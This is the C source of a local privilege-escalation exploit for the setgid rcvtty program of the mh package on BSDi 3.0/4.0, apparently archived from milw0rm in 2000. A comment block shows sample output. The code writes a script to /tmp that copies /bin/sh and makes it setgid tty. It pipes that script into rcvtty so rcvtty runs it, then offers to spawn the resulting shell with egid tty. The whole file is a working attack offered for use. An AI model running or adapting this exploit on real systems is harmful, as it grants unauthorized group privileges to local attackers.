/*
(BSDi3.0/4.0)rcvtty[mh] local exploit, by v9[[email protected]]. this exploit
is for the rcvtty of the mh package, which is setgid=4(tty) on BSDi. this
exploit gives you egid/group=4(tty) access.
example:
-------------------------------------------------
bash-2.02$ id
uid=101(v9) gid=100(user) groups=100(user)
bash-2.02$ cc xrcvtty.c -o xrcvtty
bash-2.02$ ./xrcvtty
[ (BSDi3.0/4.0)rcvtty[mh] local exploit, by v9[[email protected]]. ]
[*] /usr/contrib/mh/lib/rcvtty appears to be setgid.
[*] now making shell script to execute.
[*] done, now building and executing the command line.
[*] done, now checking for success.
[*] success, /tmp/ttysh is now setgid.
[*] finished, everything appeared to have gone successful.
[?] do you wish to enter the sgidshell now(y/n)?: y
[*] ok, executing shell(/tmp/ttysh) now.
$ id
uid=101(v9) gid=100(user) egid=4(tty) groups=4(tty), 100(user)
$
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info: findings and exploit by v9[[email protected]].
*/
#define PATH "/usr/contrib/mh/lib/rcvtty" /* path to rcvtty. */
#define MAKESHELL "/tmp/mksh.sh" /* tmpfile to exec. */
#define SGIDSHELL "/tmp/ttysh" /* gidshell location. */
#include <stdio.h>
#include <sys/stat.h>
main()
{
char cmd[256],in[1];
struct stat mod1,mod2;
FILE *sgidexec;
fprintf(stderr,"[ (BSDi3.0/4.0)rcvtty[mh] local exploit, by v9[[email protected]]. ]\n\n",PATH);
if(stat(PATH,&mod1)){
fprintf(stderr,"[!] failed, %s doesnt appear to exist.\n",PATH);
exit(1);
} else if(mod1.st_mode==34285){
fprintf(stderr,"[*] %s appears to be setgid.\n",PATH);
} else {
fprintf(stderr,"[!] failed, %s doesn't appear to be setgid.\n",PATH);
exit(1);
}
fprintf(stderr,"[*] now making shell script to execute.\n");
unlink(MAKESHELL);
sgidexec=fopen(MAKESHELL,"w");
fprintf(sgidexec,"#!/bin/sh\n");
fprintf(sgidexec,"cp /bin/sh %s\n",SGIDSHELL);
fprintf(sgidexec,"chgrp tty %s\n",SGIDSHELL);
fprintf(sgidexec,"chmod 2755 %s\n",SGIDSHELL);
fclose(sgidexec);
chmod(MAKESHELL,33261);
fprintf(stderr,"[*] done, now building and executing the command line.\n");
snprintf(cmd,sizeof(cmd),"echo yes | %s %s 1>/dev/null 2>&1",PATH,MAKESHELL);
system(cmd);
unlink(MAKESHELL);
fprintf(stderr,"[*] done, now checking for success.\n");
if(stat(SGIDSHELL,&mod2)){
fprintf(stderr,"[!] failed, %s doesn't exist.\n",SGIDSHELL);
exit(1);
} else if(mod2.st_mode==34285){
fprintf(stderr,"[*] success, %s is now setgid.\n",SGIDSHELL);
} else {
fprintf(stderr,"[!] failed, %s doesn't appear to be setgid.\n",SGIDSHELL);
exit(1);
}
fprintf(stderr,"[*] finished, everything appeared to have gone successful.\n");
fprintf(stderr,"[?] do you wish to enter the sgidshell now(y/n)?: ");
scanf("%s",in);
if(strcmp(in,"y")){
printf("[*] ok, aborting execution, the shell is: %s.\n",SGIDSHELL);
} else{
printf("[*] ok, executing shell(%s) now.\n",SGIDSHELL);
execl(SGIDSHELL,SGIDSHELL,0);
}
exit(0);
}
// milw0rm.com [2000-11-21]
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